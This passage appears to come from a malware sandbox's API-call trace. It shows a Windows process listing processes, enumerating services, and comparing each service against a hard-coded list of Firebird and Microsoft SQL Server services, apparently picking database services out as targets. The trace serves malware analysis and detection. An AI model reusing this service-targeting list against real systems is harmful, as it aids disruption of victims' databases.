pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0304.901] lstrlenW (lpString="explorer.exe") returned 12 [0304.901] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0304.902] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0304.902] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0304.902] lstrlenW (lpString="SearchUI.exe") returned 12 [0304.903] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0304.903] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0304.903] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0304.904] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0304.904] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0304.905] lstrlenW (lpString="chrome64b.exe") returned 13 [0304.905] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf58, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0304.906] lstrlenW (lpString="cmd.exe") returned 7 [0304.906] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0304.906] lstrlenW (lpString="conhost.exe") returned 11 [0304.906] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0304.907] lstrlenW (lpString="cmd.exe") returned 7 [0304.907] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0304.908] lstrlenW (lpString="conhost.exe") returned 11 [0304.908] Process32NextW (in: hSnapshot=0x38c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0305.370] CloseHandle (hObject=0x38c) returned 1 [0305.370] Sleep (dwMilliseconds=0x1f4) [0306.281] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x759bf8 [0306.282] EnumServicesStatusExW (in: hSCManager=0x759bf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 0 [0306.282] GetLastError () returned 0xea [0306.282] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1c30) returned 0x3d0b560 [0306.282] EnumServicesStatusExW (in: hSCManager=0x759bf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3d0b560, cbBufSize=0x1c30, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3d0b560, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 1 [0306.283] CloseServiceHandle (hSCObject=0x759bf8) returned 1 [0306.283] lstrlenW (lpString="Appinfo") returned 7 [0306.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0306.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0306.283] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0306.283] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0306.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0306.284] lstrlenW (lpString="AppXSvc") returned 7 [0306.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0306.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0306.284] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0306.284] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0306.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0306.284] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0306.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0306.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0306.284] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0306.284] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0306.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0306.284] lstrlenW (lpString="Audiosrv") returned 8 [0306.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0306.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0306.284] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0306.284] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0306.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0306.284] lstrlenW (lpString="BFE") returned 3 [0306.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0306.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0306.284] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0306.284] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0306.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0306.284] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0306.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0306.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0306.284] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0306.285] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0306.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0306.285] lstrlenW (lpString="CDPSvc") returned 6 [0306.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0306.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0306.285] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0306.285] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0306.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0306.285] lstrlenW (lpString="ClickToRunSvc") returned 13 [0306.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0306.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0306.285] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0306.285] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0306.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0306.285] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0306.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0306.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0306.285] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0306.285] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0306.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0306.285] lstrlenW (lpString="CryptSvc") returned 8 [0306.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0306.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0306.285] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0306.285] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0306.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0306.285] lstrlenW (lpString="DcomLaunch") returned 10 [0306.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0306.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0306.286] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0306.286] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0306.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0306.286] lstrlenW (lpString="DeviceAssociationService") returned 24 [0306.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0306.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0306.286] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0306.286] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0306.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0306.286] lstrlenW (lpString="Dhcp") returned 4 [0306.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0306.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0306.286] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0306.286] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0306.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0306.286] lstrlenW (lpString="Dnscache") returned 8 [0306.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0306.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0306.286] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0306.286] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0306.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0306.286] lstrlenW (lpString="DPS") returned 3 [0306.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0306.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0306.286] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0306.286] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0306.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0306.287] lstrlenW (lpString="DusmSvc") returned 7 [0306.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0306.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0306.287] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0306.287] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0306.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0306.287] lstrlenW (lpString="EventLog") returned 8 [0306.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0306.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0306.287] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0306.287] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0306.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0306.287] lstrlenW (lpString="EventSystem") returned 11 [0306.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0306.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0306.287] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0306.287] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0306.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0306.287] lstrlenW (lpString="FontCache") returned 9 [0306.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0306.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0306.287] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0306.287] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0306.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0306.287] lstrlenW (lpString="gpsvc") returned 5 [0306.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0306.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0306.287] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0306.287] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0306.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0306.288] lstrlenW (lpString="iphlpsvc") returned 8 [0306.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0306.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0306.288] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0306.288] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0306.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0306.288] lstrlenW (lpString="KeyIso") returned 6 [0306.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0306.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0306.288] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0306.288] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0306.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0306.288] lstrlenW (lpString="LanmanServer") returned 12 [0306.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0306.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0306.288] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0306.288] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0306.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0306.288] lstrlenW (lpString="LanmanWorkstation") returned 17 [0306.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0306.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0306.288] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0306.288] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0306.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0306.288] lstrlenW (lpString="lfsvc") returned 5 [0306.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0306.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0306.288] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0306.289] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0306.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0306.636] lstrlenW (lpString="lmhosts") returned 7 [0306.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0306.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0306.636] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0306.636] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0306.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0306.636] lstrlenW (lpString="LSM") returned 3 [0306.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0306.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0306.636] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0306.636] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0306.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0306.636] lstrlenW (lpString="MpsSvc") returned 6 [0306.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0306.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0306.637] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0306.645] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0306.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0306.645] lstrlenW (lpString="NcbService") returned 10 [0306.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0306.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0306.645] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0306.645] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0306.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0306.645] lstrlenW (lpString="netprofm") returned 8 [0306.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0306.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0306.645] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0306.645] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0306.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0306.645] lstrlenW (lpString="NgcSvc") returned 6 [0306.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0306.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0306.645] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0306.645] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0306.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0306.645] lstrlenW (lpString="NlaSvc") returned 6 [0306.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0306.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0306.645] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0306.645] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0306.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0306.645] lstrlenW (lpString="nsi") returned 3 [0306.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0306.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0306.646] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0306.646] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0306.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0306.646] lstrlenW (lpString="PcaSvc") returned 6 [0306.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0306.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0306.646] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0306.646] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0306.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0306.646] lstrlenW (lpString="PlugPlay") returned 8 [0306.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0306.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0306.646] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0306.646] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0306.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0306.646] lstrlenW (lpString="Power") returned 5 [0306.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0306.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0306.646] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0306.646] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0306.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0306.646] lstrlenW (lpString="ProfSvc") returned 7 [0306.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0306.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0306.646] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0306.646] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0306.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0306.647] lstrlenW (lpString="RpcEptMapper") returned 12 [0306.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0306.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0306.647] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0306.647] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0306.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0306.647] lstrlenW (lpString="RpcSs") returned 5 [0306.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0306.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0306.647] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0306.647] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0306.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0306.647] lstrlenW (lpString="SamSs") returned 5 [0306.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0306.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0306.647] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0306.647] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0306.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0306.647] lstrlenW (lpString="Schedule") returned 8 [0306.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0306.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0306.647] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0306.647] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0306.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0306.647] lstrlenW (lpString="SecurityHealthService") returned 21 [0306.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0306.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0306.648] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0306.648] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0306.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0306.648] lstrlenW (lpString="SENS") returned 4 [0306.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0306.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0306.648] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0306.648] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0306.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0306.648] lstrlenW (lpString="ShellHWDetection") returned 16 [0306.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0306.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0306.648] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0306.648] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0306.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0306.648] lstrlenW (lpString="Spooler") returned 7 [0306.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0306.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0306.648] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0306.648] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0306.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0306.648] lstrlenW (lpString="StateRepository") returned 15 [0306.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 